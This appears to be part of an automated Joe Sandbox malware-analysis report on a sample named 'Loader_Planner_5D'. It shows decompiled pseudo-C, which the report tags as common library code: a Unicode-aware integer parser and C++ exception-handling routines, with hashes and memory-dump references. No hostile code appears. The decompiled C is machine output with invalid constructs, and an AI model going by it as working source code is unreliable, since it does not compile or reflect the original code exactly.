0x7ff71063d3e8
0x7ff71063d3ed
0x7ff71063d3f7
0x7ff71063d40f

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71063D266
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF71063D2B2
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71063D410
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71063D423
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71063D429

Strings

bad locale name, xrefs: 00007FF71063D416
false, xrefs: 00007FF71063D329
true, xrefs: 00007FF71063D359

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: b13f05945be4bb3804d10eb15e1f0ff5bad9dd69d462f3cd0966ca71c584eef5
Instruction ID: 3f0c773dd99db55cf43c448c531535727baa56ba717f1becfa7277639672612d
Opcode Fuzzy Hash: b13f05945be4bb3804d10eb15e1f0ff5bad9dd69d462f3cd0966ca71c584eef5
Instruction Fuzzy Hash: 59618F32A09F428AEB15FB60E4502BDB3A2EF90724F940134DA4C57B9ADE3CF559C364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064A924 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 489
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF71064A924(signed short* __rax, long long __rbx, long long __rcx, signed short** __rdx, void* __r8, void* __r10, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				long long _v160;
				long long _v168;
				void* __rsi;
				void* __rbp;
				void* _t156;
				void* _t186;
				signed short _t200;
				signed short _t201;
				signed int _t202;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t256;
				signed int _t259;
				signed int _t262;
				signed short* _t381;
				signed short* _t382;
				signed short* _t383;
				signed short* _t385;
				signed short** _t386;
				long long _t387;
				long long* _t390;
				signed short* _t391;
				long long* _t395;
				long long* _t396;
				long long* _t397;
				signed short** _t398;
				void* _t399;
				void* _t400;
				signed short* _t405;
				signed short* _t406;
				long long _t408;
				signed short* _t409;
				long long _t410;
				intOrPtr _t411;

				_t395 = __rdx;
				_t387 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t408 =  *((intOrPtr*)(__rdx));
				r13d = 0;
				_t256 = r9b & 0xffffffff;
				r14d = r8d;
				_v64 = _t408;
				_t398 = __rdx;
				if (_t408 != 0) goto 0x1064a96f;
				E00007FF77FF71064A624(__rax);
				 *__rax = 0x16;
				E00007FF77FF71064A198();
				goto 0x1064a9a1;
				if (r14d == 0) goto 0x1064a9b9;
				if (__r8 - 2 - 0x22 <= 0) goto 0x1064a9b9;
				_v160 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *(__rcx + 0x2c) = 0x16;
				_v168 = _t410;
				E00007FF77FF71064A0C8(__rax, __rbx, __rcx, __rdx, _t399, _t400, __r8);
				_t390 = _t398[1];
				if (_t390 == 0) goto 0x1064b005;
				 *_t390 =  *_t398;
				goto 0x1064b005;
				_t10 = _t408 + 2; // 0x2
				 *_t395 = _t10;
				_t261 = r13d;
				if ( *((intOrPtr*)(_t390 + 0x28)) != r13b) goto 0x1064a9e3;
				E00007FF77FF71064B0B0(_t10, _t387, _t390, _t395, _t399);
				goto 0x1064a9e3;
				_t379 =  *_t398;
				 *_t398 =  &(( *_t398)[1]);
				if (E00007FF77FF7106543A0( *_t379 & 0xffff, 8, _t387, _t390) != 0) goto 0x1064a9d6;
				_t258 =  !=  ? _t256 : _t256 | 0x00000002;
				if ((0x0000fffd & _t387 - 0x0000002b) != 0) goto 0x1064aa1a;
				_t381 =  *_t398;
				_t200 =  *_t381 & 0x0000ffff;
				_t382 =  &(_t381[1]);
				 *_t398 = _t382;
				_a16 = 0xa70;
				_v152 = 0xae6;
				_v148 = 0xaf0;
				_v144 = 0xb66;
				r8d = 0x660;
				_v140 = 0xb70;
				_t20 = _t382 - 0x80; // 0x5e0
				r9d = _t20;
				_v136 = 0xc66;
				r10d = 0x6f0;
				_v132 = 0xc70;
				r11d = 0x966;
				_v128 = 0xce6;
				_v124 = 0xcf0;
				_v120 = 0xd66;
				_v116 = 0xd70;
				_v112 = 0xe50;
				_v108 = 0xe5a;
				_v104 = 0xed0;
				_v100 = 0xeda;
				_v96 = 0xf20;
				_v92 = 0xf2a;
				_v88 = 0x1040;
				_v84 = 0x104a;
				_v80 = 0x17e0;
				_v76 = 0x17ea;
				_v72 = 0x1810;
				_v68 = 0xff1a;
				if ((r14d & 0xffffffef) != 0) goto 0x1064ad88;
				if (_t200 - 0x30 < 0) goto 0x1064acd7;
				if (_t200 - 0x3a >= 0) goto 0x1064ab26;
				goto 0x1064acd2;
				if (_t200 - 0xff10 >= 0) goto 0x1064acc3;
				if (_t200 - r8w < 0) goto 0x1064acd7;
				if (_t200 - 0x66a >= 0) goto 0x1064ab4e;
				goto 0x1064acd2;
				if (_t200 - r10w < 0) goto 0x1064acd7;
				if (_t200 - 0x6fa >= 0) goto 0x1064ab6d;
				goto 0x1064acd2;
				if (_t200 - r11w < 0) goto 0x1064acd7;
				if (_t200 - 0x970 >= 0) goto 0x1064ab8c;
				goto 0x1064acd2;
				if (_t200 - r9w < 0) goto 0x1064acd7;
				if (_t200 - 0x9f0 >= 0) goto 0x1064abab;
				goto 0x1064acd2;
				if (_t200 - (_t200 & 0x0000ffff) - r9d < 0) goto 0x1064acd7;
				if (_t200 - _a16 >= 0) goto 0x1064abcb;
				goto 0x1064acd2;
				if (_t200 - _v152 < 0) goto 0x1064acd7;
				if (_t200 - _v148 < 0) goto 0x1064ab1c;
				if (_t200 - _v144 < 0) goto 0x1064acd7;
				if (_t200 - _v140 < 0) goto 0x1064ab1c;
				if (_t200 - _v136 < 0) goto 0x1064acd7;
				if (_t200 - _v132 < 0) goto 0x1064ab1c;
				if (_t200 - _v128 < 0) goto 0x1064acd7;
				if (_t200 - _v124 < 0) goto 0x1064ab1c;
				if (_t200 - _v120 < 0) goto 0x1064acd7;
				if (_t200 - _v116 < 0) goto 0x1064ab1c;
				if (_t200 - _v112 < 0) goto 0x1064acd7;
				if (_t200 - _v108 < 0) goto 0x1064ab1c;
				if (_t200 - _v104 < 0) goto 0x1064acd7;
				if (_t200 - _v100 < 0) goto 0x1064ab1c;
				if (_t200 - _v96 < 0) goto 0x1064acd7;
				if (_t200 - _v92 < 0) goto 0x1064ab1c;
				if (_t200 - _v88 < 0) goto 0x1064acd7;
				if (_t200 - _v84 < 0) goto 0x1064ab1c;
				if (_t200 - _v80 < 0) goto 0x1064acd7;
				if (_t200 - _v76 < 0) goto 0x1064ab1c;
				if ((_t200 & 0x0000ffff) - _v72 - 9 > 0) goto 0x1064acd7;
				goto 0x1064ab1c;
				if (_t200 - _v68 >= 0) goto 0x1064acd7;
				if ((_t200 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0x1064acf9;
				_t64 = _t390 - 0x41; // -17
				_t65 = _t390 - 0x61; // -49
				_t156 = _t65;
				if (_t64 - 0x19 <= 0) goto 0x1064acee;
				if (_t156 - 0x19 > 0) goto 0x1064ad79;
				if (_t156 - 0x19 > 0) goto 0x1064acf6;
				_t66 = _t390 - 0x37; // -231
				if (_t66 != 0) goto 0x1064ad79;
				_t391 =  *_t398;
				r9d = 0xffdf;
				_t251 =  *_t391 & 0x0000ffff;
				_t67 =  &(_t391[1]); // 0xffe1
				_t405 = _t67;
				 *_t398 = _t405;
				_t68 = _t395 - 0x58; // 0x698
				if ((r9w & _t68) == 0) goto 0x1064ad61;
				 *_t398 = _t391;
				_t160 =  !=  ? r14d : 8;
				r14d =  !=  ? r14d : 8;
				if (_t251 == 0) goto 0x1064ad59;
				if ( *_t391 == _t251) goto 0x1064ad59;
				E00007FF77FF71064A624(_t382);
				 *_t382 = 0x16;
				E00007FF77FF71064A198();
				r8d = 0x660;
				r10d = 0x6f0;
				r11d = 0x966;
				goto 0x1064ad88;
				r8d = 0x660;
				goto 0x1064ad88;
				_t201 =  *_t405 & 0x0000ffff;
				_t71 =  &(_t405[1]); // 0xffe3
				_t383 = _t71;
				 *_t398 = _t383;
				r8d = 0x660;
				goto 0x1064ad7e;
				_t165 =  !=  ? r14d : 0xa;
				r14d = 0xa;
				_t166 = ( !=  ? r14d : 0xa) | 0xffffffff;
				_t73 = (( !=  ? r14d : 0xa) | 0xffffffff) % r14d;
				_t253 = (( !=  ? r14d : 0xa) | 0xffffffff) % r14d;
				r12d = 0x30;
				r15d = 0xff10;
				r9d = 0xa / r14d;
				if (_t201 - r12w < 0) goto 0x1064af58;
				if (_t201 - 0x3a >= 0) goto 0x1064adba;
				goto 0x1064af53;
				if (_t201 - r15w >= 0) goto 0x1064af43;
				if (_t201 - r8w < 0) goto 0x1064af58;
				if (_t201 - 0x66a >= 0) goto 0x1064ade3;
				goto 0x1064af53;
				if (_t201 - r10w < 0) goto 0x1064af58;
				if (_t201 - 0x6fa >= 0) goto 0x1064ae02;
				goto 0x1064af53;
				if (_t201 - r11w < 0) goto 0x1064af58;
				if (_t201 - 0x970 >= 0) goto 0x1064ae21;
				goto 0x1064af53;
				if (_t201 - 0x9e6 < 0) goto 0x1064af58;
				_t76 =  &(_t383[5]); // 0x9f0
				if (_t201 - _t76 >= 0) goto 0x1064ae41;
				goto 0x1064af53;
				if (_t201 - 0xa66 < 0) goto 0x1064af58;
				if (_t201 - _a16 < 0) goto 0x1064ae37;
				if (_t201 - _v152 < 0) goto 0x1064af58;
				if (_t201 - _v148 < 0) goto 0x1064ae37;
				if (_t201 - _v144 < 0) goto 0x1064af58;
				if (_t201 - _v140 < 0) goto 0x1064ae37;
				if (_t201 - _v136 < 0) goto 0x1064af58;
				if (_t201 - _v132 < 0) goto 0x1064ae37;
				if (_t201 - _v128 < 0) goto 0x1064af58;
				if (_t201 - _v124 < 0) goto 0x1064ae37;
				if (_t201 - _v120 < 0) goto 0x1064af58;
				if (_t201 - _v116 < 0) goto 0x1064ae37;
				if (_t201 - _v112 < 0) goto 0x1064af58;
				if (_t201 - _v108 < 0) goto 0x1064ae37;
				if (_t201 - _v104 < 0) goto 0x1064af58;
				if (_t201 - _v100 < 0) goto 0x1064ae37;
				if (_t201 - _v96 < 0) goto 0x1064af58;
				if (_t201 - _v92 < 0) goto 0x1064ae37;
				if (_t201 - _v88 < 0) goto 0x1064af58;
				if (_t201 - _v84 < 0) goto 0x1064ae37;
				if (_t201 - _v80 < 0) goto 0x1064af58;
				if (_t201 - _v76 < 0) goto 0x1064ae37;
				if ((_t201 & 0x0000ffff) - _v72 - 9 > 0) goto 0x1064af58;
				goto 0x1064af53;
				if (_t201 - _v68 >= 0) goto 0x1064af58;
				if ((_t201 & 0x0000ffff) - r15d != 0xffffffff) goto 0x1064af7b;
				_t100 = _t391 - 0x41; // -65
				_t101 = _t391 - 0x61; // -97
				_t186 = _t101;
				if (_t100 - 0x19 <= 0) goto 0x1064af6b;
				if (_t186 - 0x19 > 0) goto 0x1064af78;
				if (_t186 - 0x19 > 0) goto 0x1064af73;
				goto 0x1064af7b;
				_t406 =  *_t398;
				if (((_t201 & 0x0000ffff) + 0x1ffffffa9 | 0xffffffff) - r14d >= 0) goto 0x1064afbf;
				_t202 =  *_t406 & 0x0000ffff;
				_t255 = _t383 + _t391;
				_t262 = _t255;
				r8d = 0x660;
				 *_t398 =  &(_t406[1]);
				_t259 = ( !=  ? _t256 : _t256 | 0x00000002) | (r13d & 0xffffff00 | _t255 - r13d * r14d > 0x00000000 | r13d & 0xffffff00 | _t261 - r9d > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0x1064ad9f;
				_t411 = _a8;
				_t385 = _t406 - 2;
				_t409 = _v64;
				 *_t398 = _t385;
				if (_t202 == 0) goto 0x1064aff0;
				if ( *_t385 == _t202) goto 0x1064aff0;
				E00007FF77FF71064A624(_t385);
				 *_t385 = 0x16;
				E00007FF77FF71064A198();
				if ((sil & 0x00000008) != 0) goto 0x1064b00c;
				_t386 = _t398[1];
				 *_t398 = _t409;
				if (_t386 == 0) goto 0x1064b005;
				 *_t386 = _t409;
				goto 0x1064b090;
				r8d = 0x80000000;
				r9d = _t406 - 1;
				if ((sil & 0x00000004) != 0) goto 0x1064b034;
				if ((sil & 0x00000001) == 0) goto 0x1064b077;
				if ((sil & 0x00000002) == 0) goto 0x1064b02f;
				if (_t262 - r8d <= 0) goto 0x1064b07d;
				goto 0x1064b034;
				if (_t262 - r9d <= 0) goto 0x1064b07f;
				 *((char*)(_t411 + 0x30)) = 1;
				 *((intOrPtr*)(_t411 + 0x2c)) = 0x22;
				if ((_t259 & 0x00000001) != 0) goto 0x1064b04f;
				goto 0x1064b07f;
				_t396 = _t398[1];
				if ((_t259 & 0x00000002) == 0) goto 0x1064b067;
				if (_t396 == 0) goto 0x1064b062;
				 *_t396 =  *_t398;
				goto 0x1064b090;
				if (_t396 == 0) goto 0x1064b072;
				 *_t396 =  *_t398;
				goto 0x1064b090;
				if ((sil & 0x00000002) == 0) goto 0x1064b07f;
				_t397 = _t398[1];
				if (_t397 == 0) goto 0x1064b08e;
				 *_t397 =  *_t398;
				return  ~(_t262 | 0xffffffff);
			}

0x7ff71064a924
0x7ff71064a924
0x7ff71064a924
0x7ff71064a929
0x7ff71064a940
0x7ff71064a943
0x7ff71064a946
0x7ff71064a94a
0x7ff71064a94d
0x7ff71064a955
0x7ff71064a95b
0x7ff71064a95d
0x7ff71064a962
0x7ff71064a968
0x7ff71064a96d
0x7ff71064a972
0x7ff71064a97b
0x7ff71064a97d
0x7ff71064a982
0x7ff71064a985
0x7ff71064a989
0x7ff71064a98c
0x7ff71064a997
0x7ff71064a99c
0x7ff71064a9a1
0x7ff71064a9a8
0x7ff71064a9b1
0x7ff71064a9b4
0x7ff71064a9be
0x7ff71064a9c3
0x7ff71064a9c6
0x7ff71064a9cd
0x7ff71064a9cf
0x7ff71064a9d4
0x7ff71064a9d6
0x7ff71064a9e0
0x7ff71064a9f2
0x7ff71064aa02
0x7ff71064aa0b
0x7ff71064aa0d
0x7ff71064aa10
0x7ff71064aa13
0x7ff71064aa17
0x7ff71064aa1a
0x7ff71064aa2a
0x7ff71064aa37
0x7ff71064aa44
0x7ff71064aa4c
0x7ff71064aa52
0x7ff71064aa5a
0x7ff71064aa5a
0x7ff71064aa5e
0x7ff71064aa66
0x7ff71064aa6c
0x7ff71064aa74
0x7ff71064aa7a
0x7ff71064aa82
0x7ff71064aa8a
0x7ff71064aa92
0x7ff71064aa9a
0x7ff71064aaa2
0x7ff71064aaaa
0x7ff71064aab2
0x7ff71064aaba
0x7ff71064aac2
0x7ff71064aaca
0x7ff71064aad2
0x7ff71064aada
0x7ff71064aae2
0x7ff71064aaea
0x7ff71064aaf5
0x7ff71064ab07
0x7ff71064ab10
0x7ff71064ab1a
0x7ff71064ab21
0x7ff71064ab29
0x7ff71064ab33
0x7ff71064ab41
0x7ff71064ab49
0x7ff71064ab52
0x7ff71064ab60
0x7ff71064ab68
0x7ff71064ab71
0x7ff71064ab7f
0x7ff71064ab87
0x7ff71064ab90
0x7ff71064ab9e
0x7ff71064aba6
0x7ff71064abae
0x7ff71064abbc
0x7ff71064abc6
0x7ff71064abd2
0x7ff71064abdd
0x7ff71064abea
0x7ff71064abf5
0x7ff71064ac02
0x7ff71064ac0d
0x7ff71064ac1a
0x7ff71064ac25
0x7ff71064ac32
0x7ff71064ac3d
0x7ff71064ac4a
0x7ff71064ac55
0x7ff71064ac62
0x7ff71064ac69
0x7ff71064ac76
0x7ff71064ac7d
0x7ff71064ac8a
0x7ff71064ac91
0x7ff71064ac9e
0x7ff71064aca5
0x7ff71064acbc
0x7ff71064acbe
0x7ff71064accb
0x7ff71064acd5
0x7ff71064acda
0x7ff71064ace0
0x7ff71064ace0
0x7ff71064ace3
0x7ff71064ace8
0x7ff71064acf1
0x7ff71064acf6
0x7ff71064acfb
0x7ff71064acfd
0x7ff71064ad00
0x7ff71064ad06
0x7ff71064ad09
0x7ff71064ad09
0x7ff71064ad0d
0x7ff71064ad10
0x7ff71064ad17
0x7ff71064ad1c
0x7ff71064ad24
0x7ff71064ad28
0x7ff71064ad2e
0x7ff71064ad33
0x7ff71064ad35
0x7ff71064ad3a
0x7ff71064ad40
0x7ff71064ad45
0x7ff71064ad4b
0x7ff71064ad51
0x7ff71064ad57
0x7ff71064ad59
0x7ff71064ad5f
0x7ff71064ad61
0x7ff71064ad65
0x7ff71064ad65
0x7ff71064ad69
0x7ff71064ad6c
0x7ff71064ad77
0x7ff71064ad81
0x7ff71064ad85
0x7ff71064ad8a
0x7ff71064ad8d
0x7ff71064ad8d
0x7ff71064ad90
0x7ff71064ad96
0x7ff71064ad9c
0x7ff71064ada3
0x7ff71064adad
0x7ff71064adb5
0x7ff71064adbe
0x7ff71064adc8
0x7ff71064add6
0x7ff71064adde
0x7ff71064ade7
0x7ff71064adf5
0x7ff71064adfd
0x7ff71064ae06
0x7ff71064ae14
0x7ff71064ae1c
0x7ff71064ae29
0x7ff71064ae2f
0x7ff71064ae35
0x7ff71064ae3c
0x7ff71064ae49
0x7ff71064ae57
0x7ff71064ae60
0x7ff71064ae6b
0x7ff71064ae74
0x7ff71064ae7f
0x7ff71064ae88
0x7ff71064ae93
0x7ff71064ae9c
0x7ff71064aea7
0x7ff71064aeb0
0x7ff71064aebb
0x7ff71064aec8
0x7ff71064aed3
0x7ff71064aee0
0x7ff71064aee7
0x7ff71064aef4
0x7ff71064aefb
0x7ff71064af08
0x7ff71064af0f
0x7ff71064af1c
0x7ff71064af23
0x7ff71064af3a
0x7ff71064af41
0x7ff71064af4b
0x7ff71064af56
0x7ff71064af5b
0x7ff71064af61
0x7ff71064af61
0x7ff71064af64
0x7ff71064af69
0x7ff71064af6e
0x7ff71064af76
0x7ff71064af7b
0x7ff71064af81
0x7ff71064af83
0x7ff71064af8d
0x7ff71064af9e
0x7ff71064afac
0x7ff71064afb5
0x7ff71064afb8
0x7ff71064afba
0x7ff71064afbf
0x7ff71064afc7
0x7ff71064afcb
0x7ff71064afd3
0x7ff71064afd9
0x7ff71064afde
0x7ff71064afe0
0x7ff71064afe5
0x7ff71064afeb
0x7ff71064aff4
0x7ff71064aff6
0x7ff71064affa
0x7ff71064b000
0x7ff71064b002
0x7ff71064b007
0x7ff71064b00c
0x7ff71064b012
0x7ff71064b01a
0x7ff71064b020
0x7ff71064b026
0x7ff71064b02b
0x7ff71064b02d
0x7ff71064b032
0x7ff71064b036
0x7ff71064b03e
0x7ff71064b048
0x7ff71064b04d
0x7ff71064b04f
0x7ff71064b055
0x7ff71064b05a
0x7ff71064b05f
0x7ff71064b065
0x7ff71064b06a
0x7ff71064b06f
0x7ff71064b075
0x7ff71064b07b
0x7ff71064b07f
0x7ff71064b086
0x7ff71064b08b
0x7ff71064b0aa

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71064A968
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71064AD40
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71064AFEB

Strings

p, xrefs: 00007FF71064AA92
0, xrefs: 00007FF71064AD90
f, xrefs: 00007FF71064AA8A
p, xrefs: 00007FF71064AA1A

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$f$p$p
API String ID: 3215553584-1202675169
Opcode ID: 83d27a3de23cd0b0255da238757221b983d7b441e28099a04068284299bc49af
Instruction ID: 190a138f2ab6327f1d80cb99708697bd8a4cdcf3e934ca6a9378d778a9c4e1fe
Opcode Fuzzy Hash: 83d27a3de23cd0b0255da238757221b983d7b441e28099a04068284299bc49af
Instruction Fuzzy Hash: AC128F72E08983A6FB607A15E0546BEF653EB40764FC84135E69987BC4DB3CF588DB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064503C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF71064503C(intOrPtr __ecx, void* __edx, void* __esi, intOrPtr* __rcx, long long __rdx, long long __r8, long long __r9, void* __r10) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int* _t128;
				void* _t145;
				intOrPtr _t146;
				intOrPtr _t154;
				void* _t173;
				intOrPtr _t176;
				signed int _t177;
				signed int _t178;
				void* _t209;
				signed long long _t219;
				signed long long _t220;
				signed long long _t226;
				long long _t228;
				signed int _t235;
				intOrPtr* _t236;
				intOrPtr* _t237;
				long long _t267;
				signed int* _t280;
				long long _t281;
				void* _t282;
				void* _t283;
				signed long long _t284;
				long long _t296;
				signed int _t307;
				unsigned long long _t313;

				_t180 = __esi;
				_t282 = _t283 - 0x28;
				_t284 = _t283 - 0x128;
				_t219 =  *0x10689010; // 0xafe3859a1ce3
				_t220 = _t219 ^ _t284;
				 *(_t282 + 0x10) = _t220;
				_t280 =  *((intOrPtr*)(_t282 + 0x90));
				_t307 =  *((intOrPtr*)(_t282 + 0xa8));
				 *((long long*)(_t284 + 0x68)) = __r8;
				_t236 = __rcx;
				 *((long long*)(_t284 + 0x78)) = __rdx;
				 *(_t282 - 0x68) = _t307;
				 *((char*)(_t284 + 0x60)) = 0;
				_t281 = __r9;
				_t128 = E00007FF77FF710647390(__ecx, __esi, __rcx, __rdx, __r9, __r9, _t282, _t280, __r9);
				r14d = _t128;
				if (_t128 - 0xffffffff < 0) goto 0x1064550b;
				if (_t128 - _t280[1] >= 0) goto 0x1064550b;
				if ( *_t236 != 0xe06d7363) goto 0x10645188;
				if ( *((intOrPtr*)(_t236 + 0x18)) != 4) goto 0x10645188;
				if ( *((intOrPtr*)(_t236 + 0x20)) - 0x19930520 - 2 > 0) goto 0x10645188;
				if ( *((long long*)(_t236 + 0x30)) != 0) goto 0x10645188;
				E00007FF77FF710644570(_t220);
				if ( *((long long*)(_t220 + 0x20)) == 0) goto 0x106454a4;
				E00007FF77FF710644570(_t220);
				_t237 =  *((intOrPtr*)(_t220 + 0x20));
				E00007FF77FF710644570(_t220);
				 *((char*)(_t284 + 0x60)) = 1;
				 *((long long*)(_t284 + 0x68)) =  *((intOrPtr*)(_t220 + 0x28));
				E00007FF77FF710643A70(_t220,  *((intOrPtr*)(_t237 + 0x38)));
				if ( *_t237 != 0xe06d7363) goto 0x10645140;
				if ( *((intOrPtr*)(_t237 + 0x18)) != 4) goto 0x10645140;
				if ( *((intOrPtr*)(_t237 + 0x20)) - 0x19930520 - 2 > 0) goto 0x10645140;
				if ( *((long long*)(_t237 + 0x30)) == 0) goto 0x1064550b;
				E00007FF77FF710644570(_t220);
				if ( *(_t220 + 0x38) == 0) goto 0x10645188;
				E00007FF77FF710644570(_t220);
				E00007FF77FF710644570(_t220);
				 *(_t220 + 0x38) =  *(_t220 + 0x38) & 0x00000000;
				if (E00007FF77FF710647428(_t220, _t237, _t237,  *(_t220 + 0x38), __r9) != 0) goto 0x10645183;
				if (E00007FF77FF710647518(_t220, _t237,  *(_t220 + 0x38), __r9, _t282) == 0) goto 0x106454e8;
				goto 0x106454c4;
				 *((long long*)(_t282 - 0x40)) =  *((intOrPtr*)(__r9 + 8));
				 *(_t282 - 0x48) = _t280;
				if ( *_t237 != 0xe06d7363) goto 0x1064545b;
				if ( *((intOrPtr*)(_t237 + 0x18)) != 4) goto 0x1064545b;
				if ( *((intOrPtr*)(_t237 + 0x20)) - 0x19930520 - 2 > 0) goto 0x1064545b;
				r15d = 0;
				if (_t280[3] - r15d <= 0) goto 0x1064538c;
				 *(_t284 + 0x28) =  *(_t282 + 0xa0);
				 *(_t284 + 0x20) = _t280;
				r8d = r14d;
				_t145 = E00007FF77FF71064330C(_t237, _t282 - 0x28, _t282 - 0x48, __r9, _t282, _t280, __r9, __r10);
				asm("movups xmm0, [ebp-0x28]");
				asm("movdqu [ebp-0x38], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("movd eax, xmm0");
				if (_t145 -  *((intOrPtr*)(_t282 - 0x10)) >= 0) goto 0x1064538c;
				_t296 =  *((intOrPtr*)(_t282 - 0x28));
				r13d =  *((intOrPtr*)(_t282 - 0x30));
				 *((long long*)(_t282 - 0x80)) = _t296;
				_t146 = r13d;
				asm("inc ecx");
				 *((intOrPtr*)(_t282 - 0x50)) = __ecx;
				asm("movd eax, xmm0");
				asm("movups [ebp-0x60], xmm0");
				if (_t146 - r14d > 0) goto 0x1064537f;
				_t226 =  *(_t282 - 0x60) >> 0x20;
				if (r14d - _t146 > 0) goto 0x1064537f;
				r12d = r15d;
				_t267 =  *((intOrPtr*)( *((intOrPtr*)( *( *(_t282 - 0x38)) + 0x10)) + ( *( *(_t282 - 0x38)) +  *( *(_t282 - 0x38)) * 4) * 4 +  *((intOrPtr*)(_t296 + 8)) + 0x10)) +  *((intOrPtr*)(__r9 + 8));
				_t313 =  *(_t282 - 0x58) >> 0x20;
				 *((long long*)(_t282 - 0x70)) = _t267;
				if (r15d == 0) goto 0x1064536c;
				asm("movups xmm0, [edx+ecx*4]");
				asm("movups [ebp-0x8], xmm0");
				 *((intOrPtr*)(_t282 + 8)) =  *((intOrPtr*)(_t267 + 0x10 + (_t226 + _t226 * 4) * 4));
				E00007FF77FF710643A44(_t226);
				_t228 = _t226 + 4 +  *((intOrPtr*)( *((intOrPtr*)(_t237 + 0x30)) + 0xc));
				 *((long long*)(_t284 + 0x70)) = _t228;
				E00007FF77FF710643A44(_t228);
				_t176 =  *((intOrPtr*)(_t228 +  *((intOrPtr*)( *((intOrPtr*)(_t237 + 0x30)) + 0xc))));
				 *((intOrPtr*)(_t284 + 0x64)) = _t176;
				if (_t176 <= 0) goto 0x106452fc;
				E00007FF77FF710643A44(_t228);
				 *((long long*)(_t282 - 0x78)) = _t228 +  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x70))));
				if (E00007FF77FF710645F1C(_t180, _t237, _t282 - 8, _t228 +  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x70)))), _t280, __r9,  *((intOrPtr*)(_t237 + 0x30))) != 0) goto 0x1064530d;
				 *((long long*)(_t284 + 0x70)) =  *((long long*)(_t284 + 0x70)) + 4;
				_t154 =  *((intOrPtr*)(_t284 + 0x64)) - 1;
				 *((intOrPtr*)(_t284 + 0x64)) = _t154;
				if (_t154 > 0) goto 0x106452c0;
				r12d = r12d + 1;
				if (r12d == r15d) goto 0x10645373;
				goto 0x10645279;
				 *((char*)(_t284 + 0x58)) =  *((intOrPtr*)(_t282 + 0x98));
				 *(_t284 + 0x50) =  *((intOrPtr*)(_t284 + 0x60));
				 *((long long*)(_t284 + 0x48)) =  *(_t282 - 0x68);
				 *(_t284 + 0x40) =  *(_t282 + 0xa0);
				 *(_t284 + 0x38) = _t282 - 0x60;
				 *(_t284 + 0x30) =  *((intOrPtr*)(_t282 - 0x78));
				 *(_t284 + 0x28) = _t282 - 8;
				 *(_t284 + 0x20) = _t280;
				E00007FF77FF710644E94(_t176, _t180, _t237, _t237,  *((intOrPtr*)(_t284 + 0x78)),  *((intOrPtr*)(_t284 + 0x68)), _t281);
				goto 0x10645378;
				goto 0x1064537c;
				r15d = 0;
				r13d = r13d + 1;
				if (r13d -  *((intOrPtr*)(_t282 - 0x10)) < 0) goto 0x10645211;
				if (( *_t280 & 0x1fffffff) - 0x19930521 < 0) goto 0x10645498;
				_t209 = _t280[8] - r15d;
				if (_t209 == 0) goto 0x106453b2;
				E00007FF77FF710643A30(_t282 - 8);
				if (_t209 != 0) goto 0x106453d3;
				if ((_t280[9] >> 0x00000002 & 0x00000001) == 0) goto 0x10645498;
				if (E00007FF77FF710643150(_t280[9] >> 0x00000002 & 0x00000001, _t282 - 8 + _t280[8], _t281, _t280) != 0) goto 0x10645498;
				if ((_t280[9] >> 0x00000002 & 0x00000001) != 0) goto 0x106454ee;
				if (_t280[8] == r15d) goto 0x106453f8;
				E00007FF77FF710643A30(_t282 - 8 + _t280[8]);
